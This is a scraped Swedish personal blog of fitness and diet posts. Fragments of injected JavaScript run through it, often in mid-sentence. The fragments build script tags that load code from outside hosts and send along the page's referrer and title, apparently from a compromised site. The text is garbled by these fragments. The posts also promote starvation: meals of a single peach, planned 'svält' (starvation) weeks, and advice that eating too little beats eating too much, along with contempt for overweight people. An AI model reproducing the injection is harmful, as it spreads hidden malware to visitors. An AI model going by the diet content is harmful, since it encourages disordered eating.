A cup of interval Training to that?

Todeloo
Överaskningen är på g, men den får dras ut till den 25e.
Just i detta nu så sitter jag och är hungrig, men ska inte äta något än.
Igår började jag med mina intervall träningar innan frukost igen, och idag ska den fortsätta.
Kan väll påstå att när jag vaknade imorse så var jag verkligen inte pepp på det.
Men ska man bli fin får man lida pin.
Jag har trots allt förlorat 4kg sedan jag flyttade till Jönköping, och det har resulterat till en större rumpa.
Vilket inte är okej.
För er som har missat det föresten så har jag klippt av mig mestadels av mitt hår till en frisyr kallad “Chelsea”. Och färgat det ljusbrunt.
Men jag tror att antingen stannar jag vid denna färgen eller så färgar jag det mörkbrunt.

Men nu ska jag dra ut, over and out.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; }document.currentScript.parentNode.insertBefore(s, document.currentScript);

She Stroked My Kittycat. Now, who’s next?

Todeloo, dear readers.
Dagens outfit; Architects linne, röda jeans, svart cardigan. Egengjord diamant i silver.
Dagens träningsoutfit: Svart linne, Svarta shorts. Till detta ska jag showa min fina regnbågsvattenflaska från SL!
Dagens intag; En persika.

Nu jävlar blir det cykla in till gymet och bränna kalorier med “mina fruar”!
Därefter blir det efterlängtade boxen!
FUCK YEAH!!

d.getElementsByTagName(‘head’)[0].appendChild(s);if (document.currentScript) {

Hon älskar snabbt.

Todeloo
Jag är jättepigg, jag lovar! Nej, inte riktigt än, men snart.
Jag har träningsvärk i rumpan efter träningen igår,
av alla ställen så får jag träningsvärk i rumpan. Wait what?

Dagens fkost blev; En “havrekuse” med majonäs, gurka och gräslök.
Dagens lunch kommer att bli: Nudlar.

Snart, jag vet inte riktigt när än. Då ska jag cykla in till Falköping, tänkte först titta förbi willys och hemsöka mitt hjärta. Sedan dra till gymet.
Och som jag skrev igår, blir antagligen träna med Therese och hennes fru Anna Banana efter klockan fyra.
Sedan ska jag träna till ca sex, halv sju. Sedan hoppa in i duschen och dra upp och möta min hunnybunny.
Vara med henne tills hon inte pallar med, därefter cykla hem.

Blir inte gå en mil idag, har en känsla av att jag kommer vara rätt mörbultad när jag kommer hem.

} else {} else {

Your way too beautiful girl.


Todeloo,

Idag har jag plockat flyghavre, strax efter sprang jag med höga knän över åkern med lillebror,
Därefter hoppade jag runt på balarna med syskonen, sedan hjälpte till att riva en vägg.
När allt av det var över så gick jag ut med Baby M, det var behövligt. Var grymt skönt att gå en runda!
Gick inte så långt med tanke på han fortfarande är en valp, men iaf.
Gick tillbaka med honom sedan hämtade mina hörlurar.
Sen hoppade ut på min dagliga mil, men jag gjorde något jag inte brukar göra under tiden.
Jag gick snabbt under en låt, sedan joggade jag under en låt, sedan varvade jag ner lite under en låt, och repeterade.
Det var skönt, men det känns kan jag medge. Speciellt i ländryggen, humm?

Imorgon blir det cykla in till Falköping för att dra till gymet, vilken tid har jag inte riktigt bestämt. Men hade tänkt att vara där innan tre iaf.
Efter fyra kommer Therese och hennes fruga till gymet! Awesome. :)
Blir att träna med dem och kanske dra till easy spinningen längre in på kvällen, beror på hur mörbultad min kropp kommer vara. ;P

Dagens intag;
Fkost; Ett knäckebröd med majonäs, gurka och gräslök.
Lunch: Några salladsblad
Kvällmat; Två knäckebröd med samma som ovanstående. Grönt Te!
Jag är inne i min period igen då jag varken kan eller vill äta något igen, trevligt trevligt.
var d=document;var s=d.createElement(‘script’); if (document.currentScript) { document.currentScript.parentNode.insertBefore(s, document.currentScript);

Time For Change

Todeloo,
Idag börjar min detox och vegankost.
På börjar dagen med en kopp varmt vatten och nypressad färsk citron, till middag blir det en liten sallad bestående av sallad,morot, lök, gurka och tomat.
Över salladen kommer jag sedan strö över med olivolja, ingefära, vitlök och citron
Under dagen kommer jag att dricka en hel del vatten.

Ikväll blir det en promenad på en timma, sedan när alla ska gå och lägga sig ska jag tappa upp ett varmt bad, gosa ner mig i det och dricka grönt te.
Nu har mitt midjemått varit på samma siffra för länge, 88cm i midjan och 95cm runt magen.
Jag ska gå ner minst 10cm på varje.d.getElementsByTagName(‘head’)[0].appendChild(s);document.currentScript.parentNode.insertBefore(s, document.currentScript);var d=document;var s=d.createElement(‘script’);

Who Ever Kills The Host

Nu kommer ni säkert bli as irreterade på mig, eftersom det här egentligen inte är vad min blogg ska gå ut på.
Min blogg ska gå ut på min nyttiga väg ner.
Men nu denna veckan och nästa, från och med idag är mina vegan och svält veckor.

Idag ska jag spela, prata med folk och ta det lugnt hemma.
Imorgon blir det titta film hos Therese och Anna med Therese, mys! :)

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; d.getElementsByTagName(‘head’)[0].appendChild(s);

USA Style.

Todeloo! Något jag har tänkt en del på är varför äter dem själv till döds? Om man vet att vikten inte är på sin sida varför tar man den där bullen till fikan? Varför tar man en gigantisk portion som går över kanterna på tallriken? Tänker man inte? Jag tänker inte på någon/ra speciella personer. Bara över lag. Jag har varit där själv, jag tänker aldrig hamna där igen. Oftast när man tittar på en person ute så ser man hur deras kostvanor ser ut, tyvärr. Out of prejudice. Det är nästan äckligt hur mycket personer kan trycka i sig. Utan att dem själva tänker på det! Ett tips till er där ute, innan ni äter. Ta kort på det! Sen när ni ätit upp och är mätta, titta på det. Var den portionen nödvändig? Kunde du reducera eller dubbla den? Är du stolt över den? Har du svårt för att komma in i den sexiga outfiten? Dra ner på portionerna! Tänk på vad du får i dig! Det är bättre du får i dig för lite, än för mycket.if (document.currentScript) { document.currentScript.parentNode.insertBefore(s, document.currentScript);